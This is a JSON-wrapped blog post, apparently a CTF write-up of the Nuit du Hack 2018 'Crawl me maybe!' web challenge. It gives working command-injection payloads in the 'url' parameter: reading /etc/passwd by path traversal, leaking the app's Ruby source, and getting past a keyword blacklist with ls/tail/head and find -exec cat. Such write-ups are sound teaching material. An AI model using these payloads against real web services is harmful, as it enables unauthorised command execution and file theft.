{"id":2393,"date":"2018-04-01T13:47:04","date_gmt":"2018-04-01T11:47:04","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=2393"},"modified":"2018-04-01T14:15:11","modified_gmt":"2018-04-01T12:15:11","slug":"ctf-ndh-2018-quals-write-up-web-crawl-me-maybe","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/ctf-ndh-2018-quals-write-up-web-crawl-me-maybe\/","title":{"rendered":"[CTF NDH 2018 Quals] Write-Up \u2013 Web : Crawl me maybe!"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>Write-up of the challenge \u201cWeb \u2013 Crawl me maybe!\u201d of Nuit du\u00a0Hack 2018 CTF qualifications.<\/strong><\/p>\n<p>The weekend of 03\/31\/2018 is pre-qualification for the <strong><a href=\"https:\/\/nuitduhack.com\/fr\/\" target=\"_blank\" rel=\"noopener\">Nuit du Hack 2018<\/a><\/strong>\u00a0as a <strong>Jeopardy CTF<\/strong>. Having had the opportunity and the time to participate with some colleagues and friends, here\u2019s a write-up resolution of the challenges which we could participate.<\/p>\n<ul>\n<li>Category: <strong>Web<\/strong><\/li>\n<li>Name: <strong>Crawl me maybe!<\/strong><\/li>\n<li>Description : <em>A website test if a web page validity. You can provide this page by url only. Find a way to find and get the flag.<\/em><\/li>\n<li>URL :\u00a0http:\/\/crawlmemaybe.challs.malice.fr\/<\/li>\n<li>Points : <strong>100<\/strong><\/li>\n<\/ul>\n<p>This web challenge can be use to check \/ verify parsing of an external website. The main idea is to inject attack vector as command execution in the POST &#8220;url&#8221; destinated to the &#8220;result&#8221; endpoint. Some command filter are in place.<\/p>\n<p>When we go to the main URL, the service is displayed :<\/p>\n<div id=\"attachment_2389\" style=\"width: 303px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe01.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2389\" class=\"size-medium wp-image-2389\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe01-293x300.png\" alt=\"CrawlMeMaybe accueil\" width=\"293\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe01-293x300.png 293w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe01-768x788.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe01-58x58.png 58w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe01.png 821w\" sizes=\"auto, (max-width: 293px) 100vw, 293px\" \/><\/a><p id=\"caption-attachment-2389\" class=\"wp-caption-text\">CrawlMeMaybe accueil<\/p><\/div>\n<p>With a legitimate URL, the targeted website is analyzed:<\/p>\n<div id=\"attachment_2390\" style=\"width: 283px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe02.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2390\" class=\"size-medium wp-image-2390\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe02-273x300.png\" alt=\"Parse d'un domaine tiers\" width=\"273\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe02-273x300.png 273w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe02-768x844.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe02.png 832w\" sizes=\"auto, (max-width: 273px) 100vw, 273px\" \/><\/a><p id=\"caption-attachment-2390\" class=\"wp-caption-text\">Parse d&#8217;un domaine tiers<\/p><\/div>\n<p>By playing with the POST &#8220;url&#8221; parameter to the &#8220;result&#8221; page, we can see that the &#8220;CrawlMeMaybe.rb&#8221; source code is partialy leaked with some vectors and a blacklist is in place to filter command injection (like &#8220;flag&#8221; or &#8220;txt&#8221; or &#8220;*&#8221;) :<\/p>\n<div id=\"attachment_2391\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe05.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2391\" class=\"size-medium wp-image-2391\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe05-300x128.png\" alt=\"CrawlMeMaybe blacklist\" width=\"300\" height=\"128\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe05-300x128.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe05-768x329.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe05.png 780w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2391\" class=\"wp-caption-text\">CrawlMeMaybe blacklist<\/p><\/div>\n<p>First, the command injection is located simply :<\/p>\n<pre>url=|cat ..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/pre>\n<p>The whole &#8220;CrawlMemAybe.rb&#8221; Ruby file can be leaked :<\/p>\n<pre>url=| echo $(cat ..\/..\/..\/..\/..\/home\/challenge\/src\/CrawlMeMaybe.rb)<\/pre>\n<p>Browsing the file system, we can find this path &#8220;\/home\/challenge\/src&#8221; where a hidden &#8220;.flag.txt&#8221; file is located :<\/p>\n<div id=\"attachment_2392\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe03.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2392\" class=\"size-medium wp-image-2392\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe03-300x134.png\" alt=\".flag.txt file found\" width=\"300\" height=\"134\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe03-300x134.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe03-768x344.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe03-1024x458.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe03.png 1587w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2392\" class=\"wp-caption-text\">.flag.txt file found<\/p><\/div>\n<p>There is the string &#8220;flag&#8221; in the &#8220;.flag.txt&#8221; filename, so we can&#8217;t just do a &#8220;cat&#8221; command on it because there is a blacklist filter. We have to find a shell command to read the content of this file without provide the direct filename.<\/p>\n<p>Several payload can be used, like list all &#8220;\/home\/challenge\/src&#8221; files and play with &#8220;head&#8221; and &#8220;tail&#8221; command :<\/p>\n<pre>POST \/result HTTP\/1.1\r\nContent-Length: 114\r\nContent-Type: application\/x-www-form-urlencoded\r\nReferer: http:\/\/crawlmemaybe.challs.malice.fr\/\r\nCookie:\r\nHost: crawlmemaybe.challs.malice.fr\r\nConnection: Keep-alive\r\nAccept-Encoding: gzip,deflate\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.21 (KHTML, like Gecko) Chrome\/41.0.2228.0 Safari\/537.21\r\nAccept: *\/*\r\n\r\nurl=| cat ..\/..\/..\/..\/..\/home\/challenge\/src\/\"$(ls -1art ..\/..\/..\/..\/..\/home\/challenge\/src\/ | tail -n4 | head -n1)\"<\/pre>\n<div id=\"attachment_2394\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2394\" class=\"size-medium wp-image-2394\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe-300x159.png\" alt=\"CrawlMeMaybe flag\" width=\"300\" height=\"159\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe-300x159.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe-768x408.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe-1024x544.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe.png 1589w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2394\" class=\"wp-caption-text\">CrawlMeMaybe flag with head\/tail<\/p><\/div>\n<p>Another solution can use the &#8220;find&#8221; command and apply a &#8220;cat&#8221; on all files found :<\/p>\n<pre>url=|find ..\/..\/..\/..\/..\/home\/challenge\/src\/ -exec cat {} \\;<\/pre>\n<div id=\"attachment_2395\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe04.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2395\" class=\"size-medium wp-image-2395\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe04-300x103.png\" alt=\"CrawlMeMayb flag with find\" width=\"300\" height=\"103\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe04-300x103.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe04-768x263.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CrawlMeMaybe04.png 822w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2395\" class=\"wp-caption-text\">CrawlMeMayb flag with find<\/p><\/div>\n<p><strong>Flag :\u00a0NDH{CUrly_Ruby_J3p53n}<\/strong><\/p>\n<p>Greeting to the whole team ! :)<\/p>","protected":false},"excerpt":{"rendered":"<p>Write-up of the challenge \u201cWeb \u2013 Crawl me maybe!\u201d of Nuit du\u00a0Hack 2018 CTF qualifications. The weekend of 03\/31\/2018 is [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1963,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[524,523,526,531,516,14],"tags":[],"class_list":["post-2393","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-events","category-ndh","category-ndh2k18","category-rce","category-vuln-exploit-poc"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2393"}],"version-history":[{"count":10,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2393\/revisions"}],"predecessor-version":[{"id":2409,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2393\/revisions\/2409"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1963"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}